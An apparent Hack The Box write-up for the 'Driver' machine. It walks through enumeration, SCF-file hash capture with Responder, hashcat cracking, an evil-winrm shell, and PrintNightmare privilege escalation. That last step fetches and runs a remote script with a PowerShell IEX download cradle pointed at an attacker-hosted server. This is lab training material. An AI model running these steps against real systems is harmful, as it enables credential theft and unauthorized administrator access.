Driver HTB Write-Up

Driver HTB Write-Up

Driver was a really fun box for me, not only because it deviated from the standard norm of many machines, but because I had to learn a few things in order to break into it.  I also did this one with a few friends which made it even more fun!

Thanks to Edna, namol, dr0pp3dp4ck3ts and MKchronos from WGU chipmunks for the blast of a time on this!

Going to the webpage of the machine gives you an automatic username and password prompt, which ends up being admin:admin to get to the main page.

With that said, let's go ahead and start our enumerations on this one :)

I'm going to use a tool called NmapAutomator here because it's worth noting what a great addition it is to any collection. This is worth playing around with if you get the chance. It basically cuts down on the number of scans you need to run.

GitHub - 21y4d/nmapAutomator: A script that you can run in the background!
A script that you can run in the background! Contribute to 21y4d/nmapAutomator development by creating an account on GitHub.
└─$ ./ -H -t all

Running all scans on
Host is likely running Windows
---------------------Starting Port Scan-----------------------       
80/tcp  open  http
135/tcp open  msrpc
445/tcp open  microsoft-ds

---------------------Starting Script Scan-----------------------
80/tcp  open  http         Microsoft IIS httpd 10.0
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=MFP Firmware Update Center. Please enter password for admin
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
135/tcp open  msrpc        Microsoft Windows RPC
445/tcp open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6h59m58s, deviation: 0s, median: 6h59m58s
| smb-security-mode: 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-10-18T16:38:17
|_  start_date: 2021-10-18T16:30:53

---------------------Starting Full Scan------------------------
80/tcp   open  http
135/tcp  open  msrpc
445/tcp  open  microsoft-ds
5985/tcp open  wsman

Making a script scan on extra ports: 5985
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

I went ahead and used dirsearch for this one as well, as it's a newer go to tool, but the only directory that pops up seems to be /images/ and it looks like a dead end:

└─$ dirsearch -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt 

  _|. _ _  _  _  _ _|_    v0.4.1                                     
 (_||| _) (/_(_|| (_| )                                              
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30
Wordlist size: 87645                                                 

Output File: /home/moo/.dirsearch/reports/

Error Log: /home/moo/.dirsearch/logs/errors-21-10-18_04-46-19.log

[04:46:20] Starting: 
[04:46:21] 301 -  152B  - /images  ->
[04:46:21] 301 -  152B  - /Images  ->
[04:46:28] 301 -  152B  - /IMAGES  ->
Task Completed                            

Also of note here, is that when you go to Firmware Updates, there's no checking included when you upload files. I uploaded a random file and it seemed to push successfully, so this is suspect.

If you look at my initial scan, you'll notice that the host is most likely running Windows and that SMB is also running, but I noticed that I picked nothing up from SMBClient or SMBMap, so there had to be another way in.

There for sure was! We're going to get in through an SCF File Attack with responder. :)

To start: We go ahead and create an .SCF file and paste the following here:

I name it @exploit.scf because researching the subject, I discover that @ will put the file at the very top for reading.

Next, we'll need to setup responder:

└─$ sudo responder -wrf --lm -b -I tun0                        255 ⨯
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|

           NBT-NS, LLMNR & MDNS Responder

  Author: Laurent Gaffie (
  To kill this script hit CTRL-C

[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    DNS/MDNS                   [ON]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [ON]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [OFF]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [ON]
    Force LM downgrade         [ON]
    Fingerprint hosts          [ON]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               []
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']

[+] Current Session Variables:
    Responder Machine Name     [WIN-0Q4VYI7W8YC]
    Responder Domain Name      [JOQX.LOCAL]
    Responder DCE-RPC Port     [47171]

[+] Listening for events...                        

Keep in mind that if you have any errors here, you'll have to edit the .conf file and shut off whatever is causing the error (in my case it was erroring out for FTP, so I shut it off).

This is located it usr/share/responder and you can edit the file simply by setting things to off like below:

[Responder Core]

; Servers to start
SQL = On
SMB = On
Kerberos = On
FTP = On
POP = On
DNS = On

With responder set up, we can now upload our .scf file to the Update Firmware section in order to pull the hashes:

From here, we grab the username: Tony and we know the password after cracking all the hashes. I went ahead and used rockyou.txt for this, which worked fine. hashcat -m 5600 -a 0 ~/yourhash.txt /usr/share/wordlists/rockyou.txt --show

Sweet! Now we have a user and a password :)

From here, I went ahead and used a tool called evil-winrm:

GitHub - Hackplayers/evil-winrm: The ultimate WinRM shell for hacking/pentesting
The ultimate WinRM shell for hacking/pentesting. Contribute to Hackplayers/evil-winrm development by creating an account on GitHub.
└─$ ./evil-winrm.rb -i -u tony -p liltony                  1 ⨯

Evil-WinRM shell v2.4

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\tony\Documents> 

Sweet! Let's go ahead and grab our user flag: type C:\Users\tony\Desktop\user.txt Now I got a bit lucky here, because I assumed the name of the box and the printers meant this was the recent Print Nightmare bug, but I assume you can search through the list to see if it's running.

I grabbed a copy of print nightmare from the following link:

GitHub - calebstewart/CVE-2021-1675: Pure PowerShell implementation of CVE-2021-1675 Print Spooler Local Privilege Escalation (PrintNightmare)
Pure PowerShell implementation of CVE-2021-1675 Print Spooler Local Privilege Escalation (PrintNightmare) - GitHub - calebstewart/CVE-2021-1675: Pure PowerShell implementation of CVE-2021-1675 Prin...

We immediately run into an issue here though because the ExecutionPolicy is set to Restricted, which means, we can't just upload and run the file. That's ok. We'll set up a web server and get around it with some PS.

So, in a split terminal, I went ahead and typed the following to setup my server:

└─$ python3 -m http.server 80
Serving HTTP on port 80 ( ...

Then went ahead and setup the following command:

IEX(New-Object Net.Webclient).downloadstring('http://YOURIP/CVE-2021-1675.ps1')

We go ahead and verify that the file downloaded with dir and go ahead and we're ready to go! We're going to go ahead and use the Invoke-Nightmare command and create a new user/password.

Invoke-Nightmare -NewUser "piratemoo" -NewPassword "cows"

[+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll"
[+] added user piratemoo as local administrator
[+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll

Next, we'll go ahead and start a new evil-winrm session:

Then we can just type C:\Users\Administrator\Desktop\root.txt to grab our root flag!

Enjoy! :)